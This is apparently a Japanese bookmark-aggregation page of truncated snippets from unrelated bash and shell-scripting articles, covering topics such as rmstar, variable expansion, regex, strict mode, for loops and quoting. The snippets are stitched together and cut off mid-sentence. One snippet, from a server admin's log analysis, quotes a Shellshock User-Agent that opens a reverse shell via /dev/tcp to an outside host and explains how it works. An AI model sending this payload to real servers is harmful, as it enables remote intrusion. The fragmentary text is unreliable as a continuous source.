そこで、シェル変数 rmstar をセットしておくと、rm の引数に * を指定したとき、本当に消してもよいかどうか確認を求めてくる。
そこで、シェル変数 rmstar をセットしておくと、rm の引数に * を指定したとき、本当に消してもよいかどうか確認を求めてくる。
Getting Started Introduction A simple tutorial Language Reference Basic syntax Types Variables Constants Expressions Operators Control Structures Functions Classes and Objects Namespaces Enumerations Errors Exceptions Fibers Generators Attributes References Explained Predefined Variables Predefined Exceptions Predefined Interfaces and Classes Predefined Attributes Context options and parameters Su
はじめに 個人的なシェル(スクリプト)あるあるなんですが、変数操作に悩んでいるとBashの 変数展開 って思った以上に色んなことができてしまうことに気がつきます。 「なんかいい感じの書き方ないかなー」 「cut, tr, sed, awk, ...、まぁできるのは間違いないんだけど」 「うーん」ググリ― (10分後) 「えっ、変数展開...?(怪訝)」ポチポチ 「...」カタカタ 「いけるやん!!!」 ってことが結構あります。皆さんもこういった経験少なからずあるのではないでしょうか。 (そして今もまさにそういう記憶・期待があるから、変数展開について少し調べている...そんなところかと推察します) 毎回調べるのも感動があっていいと思うんですが、もはや衝動を押さえきれないので 全部調べたい と思います。 Bashのバージョンは 4.3.48(1) でしたが、そうそう変わるような内容でも
bashの正規表現でスペース(空白)を判定する方法を紹介します。 1.問題点 bashで、下記のようなスペース(空白)を含む文字列を判定したいのですが、方法がわかりません。 #!/bin/bash str="aaa bbb ccc" if [[ $str =~ 'a{3} b{3} c{3}' ]]; then echo "yes" else echo "no" fi 実行結果 no ちなみに単純な文字列であればマッチするようです。 #!/bin/bash str="aaa bbb ccc" if [[ $str =~ 'aaa bbb' ]]; then echo "yes" else echo "no" fi 実行結果 yes ということで、bashの正規表現でスペースを判定する方法を紹介します。 2.bashの正規表現でスペースを判定する 正規表現でスペースを判定するには、スペースを
を設定してから再度試した所 bar が表示された。backupcopy は編集中のファイルによって自動で判別する auto がデフォルトになっている為、試す際には明示的に yes に設定しないといけない。 bash の実装確認 evalstring.c の parse_and_execute でコマンドが処理されており、input.c の with_input_from_buffered_stream で読み込みの準備が行われている。バッファの読み込みの本体は y.tab.c つまりパーサから直接呼ばれており、このパーサは fgets(3) で読み込まれつつ実行される為、一括でファイルが読み込まれている訳ではない。 while/do でループ実行した際に、ファイルを書き換えられたら戻り先はどうなるか、についてはスクリプトはバッファ付きで読み込まれており、そのバッファがファイルシステムから読
シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の本当の理由を知ると優れた文法が見えてくるShellScriptBashUNIXshellPOSIX はじめに シェルスクリプトの変数代入で = の前後にスペースを置くことができない理由は、検索すれば「プログラマーの君! 勘違いするな! シェルスクリプトでは読みやすさのためにスペースを置くな!! という話」のような記事がすぐに見つかります。記事に書いてあるとおり変数代入とコマンド呼び出しと区別がつかないからです。それは間違いではないんですが、私はもう少し説明が足りないと感じています。そこで今回は = の前後にスペースを置けない本当の理由を解説したいと思います。 の前に皆さんにはこの話を読みながら、自分がシェルスクリプトの言語設計者だったとしたら、どういう言語仕様にするかを考えて欲しいです。なぜかと言うとシェルスクリプトの文
こんにちは。 マネーフォワードでアグリゲーション開発を担当しています中川です。 今回のブログは、私が bash スクリプトを書く際に心がけている事のおさらいをします。 知ってて当たり前のことかも知れませんが、意外と理解されていないアレです。 では、私が bash スクリプトを書く際によく使う記述を一つずつ紹介します。 2種類の shebang シェルスクリプトの一行目に必ず記述する #! で始まる行を shebang と言います。 bash スクリプトの shebang は、bash を絶対パスで指定する方法と、env を使って指定する方法の二種類あります。 bash を絶対パスを指定する方法 #!/bin/bash env を使ってを指定する方法 #!/usr/bin/env bash 前者は /bin/bash が使われます。 (/bin/bash が存在しなければスクリプトの起動時に
Use Bash Strict Mode (Unless You Love Debugging) Let's start with the punchline. Your bash scripts will be more robust, reliable and maintainable if you start them like this: I call this the unofficial bash strict mode. This causes bash to behave in a way that makes many classes of subtle bugs impossible. You'll spend much less time debugging, and also avoid having unexpected complications in prod
こんばんは、id:maku693です。 タイトルでほぼ全部説明しましたが、Github Actionsでちょっとハマりました。 Github Actionsのワークフローでは工夫しないとyesコマンドを使えないので、代わりにecho yを使うと手っ取り早いです。 これに気づいたのは、[y/N]どちらかの入力を待つことで処理を続行していいか聞いてくるプログラムをワークフロー中で使いたかったので、yesコマンドを使ってyを入力させようとしたところ、yes: standard output: Broken pipeというエラーが出て正常にワークフローが終了しなかったためです。 手元 (macOS) で実行してもエラーにならないので不思議に思って調べてみると、bashにpipefailオプションが指定されている*1のと、yesコマンドがSIGPIPEを受け取って終了する前提で使われているのが原因で
この世には、引用符(クォート、クォーテーション)には種類があり、Bashの世界ではその意味が異なります。 その問題にぶち当たったので、少し記事にしてみようと思います。 ことの発端 pecoを使ってbash_historyから履歴を漁るコマンドを改良していた時、どうしてもエスケープが必要だったのでJavaのお仕事で培ったシングルクォートとダブルクォートを両方使うという荒業をしたところ巧く動作しなかったのが発端です。 私は土日を挟むと金曜日以前のことが思い出せない病気を患っているので、処理毎に関数や変数にまとめて名前を付けるクセがあります。 また、コメントは冗長と思っていて、メンテする気が失せるのでドキュメントコメントしか書きません。 sedコマンドはうまくエスケープできたのですが、(うまく実行できたとは言っていない) awkコマンドをダブルクォートでエスケープすると、vimのハイライトがおか
似たようなタイトルの記事を書いてすまなんだ 今北産業 これ作った↓ ウンコードだったから作り直した rlwrapくん偉いぞ rlwrapってなんぞや readline(ターミナルの標準入力的なやつ)をラップするやつ。 名前も r(ead)l(ine)wrap からきてると思う readlineはアローキーを押したときの挙動がしょぼい。そういう悲しみを解消してくれるコマンド rlwrapをつかわないとこうなる▼ (↑↓←→↑の順で押してます) rlwrapを使ってみる sqlplusもその悲しみを背負ったコマンドらしいので、sqlplusに対してrlwrapが使われてるらしい(知らなかった)。 要するに、 ってするらしい。sqlplusを使う人はだいたい.zshrcあたりに alias sqlplus="rlwrap sqlplus"なんてしてるらしいよ 本題 前に書いた これ http:/
vpsのhttpdのログにbash脆弱性を狙ったアクセスが来ていて、たいていはどこかへpingを実行したり、HTTPヘッダにX-Bash-Test というのを含めて脆弱性を確認してるだけ、みたいなのだけど、その中で見慣れないログを見つけた。 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1(/dev/tcp の後は/ipアドレス/port 上のは適当な例) /dev/tcp ? こいつは何がしたい? "/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1" /bin/bash -i を実行したときの標準入力(0)、標準出力(1)、標準エラー(2) 、つまり全ての入出力を/dev/tcp/192.0.2.1/8080 にリダイレクトにしている。(">& hoge.txt"
シェルの種類 プロンプト メッセージ出力(echo, printf) メタ文字 シェル変数と環境変数($XXX) 特殊変数($x) 変数展開(${...}) 読み込み専用(readonly) シェルスクリプト(*.sh) コメント(#) 継続行(\) コマンド区切り(;) グループコマンド({...}) サブシェル((...)) コマンド置換($(...), `...`) 初期化ファイル(.bash_profile/.bashrc) 入出力・リダイレクト(>) ヒアドキュメント(<<) パイプ(|) バックグラウンド実行(&) ヒストリ(history) 行編集(Ctrl-a, Ctrl-b, ...) ディレクトリスタック(dirs) 条件実行(; && ||) 条件分岐(if) 条件分岐(case) 繰り返し(for) 繰り返し(while) 繰り返し(until) 選択肢(selec
bash のbreak、continue、return、exit | Cyber Thunderのブログ ■break、continue、return、exit せ> type break break is a shell builtin せ> type continue continue is a shell builtin せ> type return return is a shell builtin ■bashにgotoやjumpのようなコマンドはない せ> type goto -bash: type: goto: not found せ> type jump -bash: type: jump: not found ■continue文はfor、while、またはuntilループで次の繰り返しに飛ぶコマンド。 ・ifブロックやcaseブロックから途中で抜けるコマンドはない。 ・ラ
bashのfor文のまとめです。 ネットで調べたところ、ケース別ですぐに使えそうなサンプルが並んでいるものがなかったので、このエントリーでまとめてみました。 認識違いがありましたどこかでつぶやいてください。 なお、サンプルでは変数のカーリーブレースやダブルクォーテーションは省略しています。適宜付与してください。 1.フォーマット bashのfor文のフォーマットは for 繰り返し条件 do # ... done となっています。 次のフォーマットでも書けます(以降、このフォーマットで解説)。 for 繰り返し条件; do # ... done 2.初期値・ループ条件・ループ時の処理で指定する 繰り返し条件の部分は一般的なfor文のお作法(初期値、ループ条件、ループ時の処理)が利用できます。 for ((初期値; ループ条件; ループ時の処理)); do # ... done サンプル m
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く